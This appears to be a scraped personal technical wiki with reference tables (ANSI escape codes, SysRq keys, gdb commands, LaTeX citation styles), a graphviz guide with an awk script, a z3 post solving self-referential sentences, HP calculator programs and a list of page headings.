key	use
`/`	zoom (out) so that the whole thing fits on your screen
`r`	go back to the center and reset zoom
`f`	toggle fullscreen
`Z`	seems to do the same thing as `/`, but only in fullscreen

name	what it is
`mla`	mla-style
`apa`	apa-style
`nature`	used by the Nature journal
`science`	used by the (aptly-named) Science journal
`ieee`	used by the IEEE
`phys`	used in physics
`numeric`	just numbers in square brackets
`numeric-comp`	like `numeric` but puts multiple citations into ranges

sequence	what it does	value
`\033[38;5;<NUM>m`	set text foreground color. (256color)	`0-255`
`\033[48;5;<NUM>m`	set text background color. (256color)	`0-255`
`\033[38;2;<R>;<G>;<B>m`	set text foreground color. (truecolor)	`red`, `green`, `blue`
`\033[48;2;<R>;<G>;<B>m`	set text background color. (truecolor)	`red`, `green`, `blue`

sequence	what it does
`\033[m`	reset text formatting and colors.
`\033[1m`	bold text.
`\033[2m`	faint text.
`\033[3m`	italic text.
`\033[4m`	underline text.
`\033[5m`	slow blink.
`\033[7m`	swap foreground and background colors.
`\033[8m`	hidden text.
`\033[9m`	strike-through text.
`\033#8`	fill the screen with `E`
`\033(0`	fun characters

sequence	what it does	value
`\033[<LINE>;<COLUMN>H`	move cursor to absolute position.	`line`, `column`
`\033[H`	move cursor to home position (`0,0`).
`\033[<NUM>A`	move cursor up NUM lines.	`num`
`\033[<NUM>B`	move cursor down NUM lines.	`num`
`\033[<NUM>C`	move cursor right NUM columns.	`num`
`\033[<NUM>D`	move cursor left NUM columns.	`num`
`\033[s`	save cursor position.
`\033[u`	restore cursor position.
`\033[?25l`	hide cursor
`\033[?25h`	show cursor

sequence	what it does
`\033[K`	erase from cursor position to end of line.
`\033[1K`	erase from cursor position to start of line.
`\033[2K`	erase the entire current line.
`\033[J`	erase from the current line to the bottom of the screen.
`\033[1J`	erase from the current line to the top of the screen.
`\033[2J`	clear the screen.
`\033[2J\033[H`	clear the screen and move cursor to `0,0`.

sequence	what it does	value
`\033]2;<TITLE>\007`	set the terminal title to TITLE	a string

graphviz is a cool renderer thing for diagrams

table of contents

using it ¶

you can use it online, or, if you install it to your computer, the command to run it will be the layout plugin you want to use, for example dot

examples ¶

irc LINKS graph ¶

this awk script will take output of irc's LINKS command, and convert it to an undirected graphviz graph. change $5 and $6 to where the two server names are in your log format.

sometimes reversing the LINKS output with tac(1) or sorting with sort(1) before feeding it into awk seems to make graphviz have a better layout.

this assumes the letters of servernames are unique since it does weird broken escaping instead of just quoting the servernames. it will break, for example, if you have both me.ow.cat and meow.cat

tangle/linkstographviz.awk

BEGIN {
	"date -u '+%Y-%m-%d %H:%M:%SZ'" | getline time;
	print "graph l {"
}
{
	from="x" $5;
	to="x" $6;
	gsub("[\\.-]","",from);
	gsub("[\\.-]","",to);
	print from " [label=\"" $5 "\"]; ";
	if (from != to) {
		print to " -- " from ";"
	}
}
END {
	print "curtime [label=\"generated " time "\"; shape=\"box\"];";
	print "}"
}

reference ¶

digraph/graph ¶

graph is for showing relations. it uses -- to connect items.

graph MyNiceGraph {
	kitty -- cat;
}

digraph is for showing directed stuff, like flowcharts. it uses -> to connect items.

digraph MyNiceDigraph {
	cat -> meow;
	cat -> hiss;
}

the word after them is the id, which can be pretty much anything you want. it is for differentiating which graph you want to render if you have multiple in a file. you'll have to quote it if you want to use weird characters.

setting defaults for nodes and edges ¶

there are special names called node and edge that apply to all nodes and all edges respectively by default.

digraph Rectangles {
	node [shape="box"];
	edge [arrowsize=0.5];

	ovals [shape="ellipse"];
	rectangles -> ovals [label="are much nicer than"];
}

make lines less bendy ¶

by default, relations are shown with a spline, which makes a smooth curve when possible. you can set the splines option to change this. the value ortho will force 90° lines, but this often gives horrible results with large gaps and overlaps for non-trivial graphs. polyline uses a sequence of straight lines.

digraph ItsPolyTime {
	splines=polyline;

	h:w -> fox:e;
	fox:n -> h:s;
}

graphviz sadly does not have a "squared" lines option^[1]. however, this can be emulated by creating invisible nodes to route lines where you want.

in this example, we also use dir=back backwards line and rank=same trickery to make graphviz' ranking algorithm put nodes in the right places.

digraph TheLetterH {
	splines=polyline;

	hidden [label=""; color=white];
	hidden2 [label=""; color=white];

	{rank=same; h; fox}
	{rank=same; hidden; hidden2}

	fox -> h;
	h -> hidden2:n [arrowhead=none];
	hidden:n -> hidden2:n [arrowhead=none];
	fox -> hidden:n [dir=back];
}

direction ¶

rankdir sets the rank direction, which affects the direction of the graph when using the dot layout

the argument is a combination of T (top), b (bottom), L (left), and R (right). for example LR goes left-to-right

digraph Sideways {
	rankdir=LR;

	left -> right;
}

footnotes

why not? seems like it would be easy to implement, just "ortho without the gaps in the lines" would probably be fine, perhaps with some extra padding ↩

package	reason
`wl`	tool for connecting to wifi on broadcom chips
`nas`	support for WPA on broadcom chips

package	reason
`ip`	iproute2 stuff
`kmod-brcm-wl`	stuff for `wl`
`dhcp-forwarder`	dhcp relaying
`wificonf`	replacement for wlconf
`libpthread`	needed as a dependency for some stuff

name	support
forgejo	yes!
cgit	yes!
stagit	no (unless you use xfnw's fork)
github	no (used to, but got removed >:c )
srht	no
gitweb	no
gotweb	TODO
gitlab	TODO
phabricator	TODO

key	behavior
f	force an OOM kill now, even if not out of memory. mey help with a freeze
n	nice real-time tasks, may also help with a freeze
k	kill current console, can be used as a "secure attention key"
0-9	set kernel verbosity
v	force viewing framebuffer (show console)
h	print sysrq helptext to the kernel log, to see more keys not listed here
r	unraw the keyboard, to take back control from something like X11
e	sigterm (gracefull kill) all tasks
i	sigkill all tasks
s	sync disks
u	unmount disks (sync first to avoid a dirty unmount)
b	force a reboot

shortcut	what it does
`C-c C-c`	(in a src block) execute it
`C-c '`	open src block in a new buffer
`C-c C-v t`	tangle
`C-c C-v d`	"demarcate" (split) a block in two
`M-x o-j RET RET`	jump from tangled block back to source org
`M-x o-det RET RET`	detangle tangled block

abbrev	command	description
`r`	`run`	start execution, from the beginning
`b`	`break`	create a breakpoint
`d`	`delete`	delete a breakpoint or clear all breakpoints
`s`	`step`	do one instruction
`n`	`next`	step until the next line
`f`	`frame`	show where you are in execution again
`fin`	`finish`	step until the current funtion returns
`l`	`list`	show the source code
`p`	`print`	get the value of variable
`bt`	`backtrace`	show the backtrace

when i was watching carykh's new video "This title has twenty-nine letters." the other day, i was thinking about how these self-referential sentences would be a really good problem to feed a SAT solver instead of cary's essentially brute-force approach. surprisingly, skimming the comments, nobody seems to have mentioned this. might as well try it myself, plus it'd be a good opportunity to learn more of z3's z3py python bindings.

the first attempt ¶

i couldn't figure out a way to turn numbers into words, so i just made a function with the first hundred number names asserted

../tangle/wordfun.py

from z3 import *

def gen_numbers(solver):
    numstr = Function('numstr', IntSort(), StringSort())

    # weird numbers
    solver.add(numstr(0) == "zero")
    solver.add(numstr(10) == "ten")
    solver.add(numstr(11) == "eleven")
    solver.add(numstr(12) == "twelve")
    solver.add(numstr(13) == "thirteen")
    solver.add(numstr(14) == "fourteen")
    solver.add(numstr(15) == "fifteen")
    solver.add(numstr(16) == "sixteen")
    solver.add(numstr(17) == "seventeen")
    solver.add(numstr(18) == "eighteen")
    solver.add(numstr(19) == "nineteen")

    for n, w in [(0,""),(2,"twenty"),(3,"thirty"),(4,"fourty"),(5,"fifty"),(6,"sixty"),(7,"seventy"),(8,"eighty"),(9,"ninety")]:
        n *= 10
        if n != 0:
            solver.add(numstr(n) == w)
        solver.add(numstr(n+1) == w+"one")
        solver.add(numstr(n+2) == w+"two")
        solver.add(numstr(n+3) == w+"three")
        solver.add(numstr(n+4) == w+"four")
        solver.add(numstr(n+5) == w+"five")
        solver.add(numstr(n+6) == w+"six")
        solver.add(numstr(n+7) == w+"seven")
        solver.add(numstr(n+8) == w+"eight")
        solver.add(numstr(n+9) == w+"nine")

    return numstr

then it's as simple as asserting a string's length to be some integer and referencing that inside the string

../tangle/wordfun.py

def characters_long(solver):
    numstr = gen_numbers(solver)
    o = String("output")
    l = Int("l")

    solver.add(l == Length(o))
    solver.add(o == Concat("This sentence is ", numstr(l), " characters long"))

and out pops "This sentence is fourtytwo characters long"!

you spelled forty wrong...

uhhhhh, well that's fine! "fourtytwo" and "forty-two" are the same length so it still works :P

a little "borrowing" from stackoverflow and a pile of z3-friendly expressions to count vowels and consonants later...

../tangle/wordfun.py

# OrdAt stolen from https://stackoverflow.com/a/70689580
def OrdAt(s, i):
    return StrToCode(SubString(s, i, 1))

def IsVowel(c):
    # ", ".join(["c == "+str(ord(a)) for a in 'aeiouAEIOU'])
    return Or(c == 97, c == 101, c == 105, c == 111, c == 117, c == 65, c == 69, c == 73, c == 79, c == 85)

def IsLetter(c):
    return Or(And(c >= 97, c <= 122), And(c >= 65, c <= 90))

def IsConsonant(c):
    return And(IsLetter(c), Not(IsVowel(c)))

def CountVowels(s, l):
    return Sum([IsVowel(OrdAt(s, i)) if 1 else 0 for i in range(l)])

def CountConsonants(s, l):
    return Sum([IsConsonant(OrdAt(s, i)) if 1 else 0 for i in range(l)])

def vowels_con(solver):
    numstr = gen_numbers(solver)
    o = String("output")
    s = StringVal("Thissentencehasvowelsandconsonants")
    v = Int("v")
    c = Int("c")

    def CV(n):
        return CountVowels(numstr(n), 12)
    def CC(n):
        return CountConsonants(numstr(n), 12)

    solver.add(v == Sum(CountVowels(s, 34), CV(v), CV(c)))
    solver.add(c == Sum(CountConsonants(s, 34), CC(v), CC(c)))

    solver.add(o == Concat(StringVal("This sentence has "), numstr(v), " vowels and ", numstr(c), " consonants"))

oh no it's unusably slow

well, maybe we don't actually need to count the vowels and consonants in z3, it's not like the names of numbers change

the much more boring but better solution ¶

might as well just use num2words so i don't misspell forty again...

../tangle/wordhard.py

from z3 import *
from num2words import num2words

it's so nice to have normal values you can do python things with

../tangle/wordhard.py

def vowels(s):
    return sum(1 for c in s if c in "aeiouAEIOU")

def consonants(s):
    return sum(1 for c in s if c.isalpha() and c not in "aeiouAEIOU")

like before, i assert the names for some numbers, but this time i also record the length and number of vowels and consonants

../tangle/wordhard.py

def gen_numbers(solver, ran):
    numstr = Function('numstr', IntSort(), StringSort())
    numlen = Function('numlen', IntSort(), IntSort())
    numvow = Function('numvow', IntSort(), IntSort())
    numcon = Function('numcon', IntSort(), IntSort())

    for n in ran:
        name = num2words(n)

        solver.add(numstr(n) == name)
        solver.add(numlen(n) == len(name))
        solver.add(numvow(n) == vowels(name))
        solver.add(numcon(n) == consonants(name))

    return numstr, numlen, numvow, numcon

have to be more strict about what numbers are in range when not tying everything to actual strings

../tangle/wordhard.py

def fence(solver, ran, *vars):
    for v in vars:
        solver.add(And(v >= ran.start, v < ran.stop))

time to make assertions about some numbers added together instead of expensive strings

../tangle/wordhard.py

def characters_long(solver):
    numstr, numlen, numvow, numcon = gen_numbers(solver, range(100))
    o = String("output")
    l = Int("l")

    fence(solver, range(100), l)
    solver.add(l == numlen(l)+len("this sentence is  characters long"))
    solver.add(o == Concat("This sentence is ", numstr(l), " characters long"))

def vowels_con(solver):
    numstr, numlen, numvow, numcon = gen_numbers(solver, range(100))
    sam = "thissentencehasvowelsandconsonants"
    o = String("output")
    v = Int("v")
    c = Int("c")

    fence(solver, range(100), v, c)
    solver.add(v == vowels(sam)+numvow(v)+numvow(c))
    solver.add(c == consonants(sam)+numcon(v)+numcon(c))
    solver.add(o == Concat("This sentence has ", numstr(v), " vowels and ", numstr(c), " consonants"))

def vowels_con_len(solver):
    numstr, numlen, numvow, numcon = gen_numbers(solver, range(100))
    sam = "this sentence has  vowels,  consonants, and is  characters long"
    o = String("output")
    v = Int("v")
    c = Int("c")
    l = Int("l")

    fence(solver, range(100), v, c, l)
    solver.add(v == vowels(sam)+numvow(v)+numvow(c)+numvow(l))
    solver.add(c == consonants(sam)+numcon(v)+numcon(c)+numcon(l))
    solver.add(l == len(sam)+numlen(v)+numlen(c)+numlen(l))
    solver.add(o == Concat("This sentence has ", numstr(v), " vowels, ", numstr(c), " consonants, and is ", numstr(l), " characters long"))

nyoom!

now we can "This sentence is forty-two characters long" or "This sentence has eighteen vowels and thirty-four consonants" and even combine them like "This sentence has twenty-three vowels, fifty-two consonants, and is ninety characters long" at a reasonable speed

num	keys	display	description
001	LBL E	43,22, E	convenient entry point
002	STO I	44 I	store in I
003	R↓	33	pop old I value
004	STO 0	44 0	store in 0
005	DSZ	43 23	decrement I and nop branch
006	LBL 0	43,22, 0	label for loop target
007	RCL 0	45 0	push 0 to stack
008	*	20	multiply it
009	DSZ	43 23	decrement and branch unless 0
010	GTO 0	22 0	I is not 0, loop again
011	RTN	43 21	return

num	keys	display	description
012	LBL 7	43,22, 7	entry point
013	ENTER	36	dup
014	1/x	43 26	inverse
015	CF 0	43, 5, 0	default flag
016	x>y	43 3	input<1?
017	SF 0	43, 4, 0	save for later
018	+	40	add inverse
019	2	2	float mode:
020	/	10	no shifts ;_;
021	1	1	put 1
022	STO I	44 32	into I
023	1	1
024	5	5
025	EEX	42 49
026	CHS	49
027	6	6	make big const
028	+	40	1+ from before
029	x<->y	34	swap for inp n
030	LBL 9	43,22, 9	loop target
031	STO 0	44 0	store old val
032	1	1
033	+	40	increment
034	2	2
035	/	10	halve
036	sqrt	43 25
037	ISZ	43 24	increment I
038	x>y	43 3	x>y?
039	GTO 9	22 9	yes, loop
040	R↓	33
041	R↓	33	pop unneeded
042	RCL 0	45 0	restore old
043	1	1
044	-	30	decrement
045	ENTER	36
046	+	40	double
047	sqrt	43 25
048	DSZ	43 23	put I back
049	DSZ	43 23	decrement I
050	LBL 8	43,22, 8	loop target
051	ENTER	36
052	+	40	double
053	DSZ	43 23	decrement I
054	GTO 8	22 8	I not 0, loop
055	F? 0	43, 6, 0	recall input<1
056	CHS	49	yes, negate
057	RTN	43 21	return

num	keys	display	description
058	LBL F	43,22, F	entry point
059	STO I	43 32	store in I
060	DSZ	43 23	skip first
061	LBL 4	43,22, 4	loop target
062	RCL I	45 32	push I
063	*	20	multiply I
064	DSZ	43 23	decrement I
065	GTO 4	22 4	not 0? loop
066	RTN	43 21	return

generate webp's with ffmpeg

animated webp ¶

make it lossless ¶

LaTeX setupfile

latex options ¶

table of contents ¶

define some packages for accessibility ¶

PDF/A export ¶

hide todo tokens and tags ¶

registry

wallpaper ¶

no more 3d objects ¶

firefox

fix theme ¶

url bar overzealously searching ¶

url bar hiding protocol ¶

shut up about enabling drm ¶

space beside url bar ¶

dark theme not working ¶

extra settings i like ¶

sqlite

looking at tables ¶

output formatting ¶

foreign keys ¶

getting other columns when grouping ¶

json ¶

output ¶

input ¶

generated columns ¶

icecast custom index page

sstrip

stripping shared objects ¶

sample

uart serial

repurposing a microcontroller as a serial adapter ¶

arduino uno (5v) ¶

nodemcu esp8266 (3.3v) ¶

nncp

building ¶

acks with keep ¶

disambiguation

emacs packages

updating packages ¶

openssl custom name constraints

making your own name-constrained CA ¶

creating accessable PDF/A files with LaTeX

tagged pdf ¶

PDF/A ¶

packages ¶

xmpdata ¶

wireguard

genkey ¶

config with wg-quick ¶

masquerade ¶

tailscale ¶

feh

keybinds ¶

set wallpaper ¶

format-preserving encryption is neat

power of 2 trickery ¶

blackrock ¶

what!? ¶

oh also it can go backwards ¶

let's test it out ¶

calculating cert fingerprints with openssl

normal fingerprints ¶

spki fingerprints ¶

making citations with LaTeX

without a citation processor ¶

with a citation processor ¶

bibtex-style bibliography file ¶

styles ¶

biber ¶

bibtex ¶

qemu

escaping ¶

nographic ¶

curses ¶

running 9front inside kvm

lapic timer period dmesg errors ¶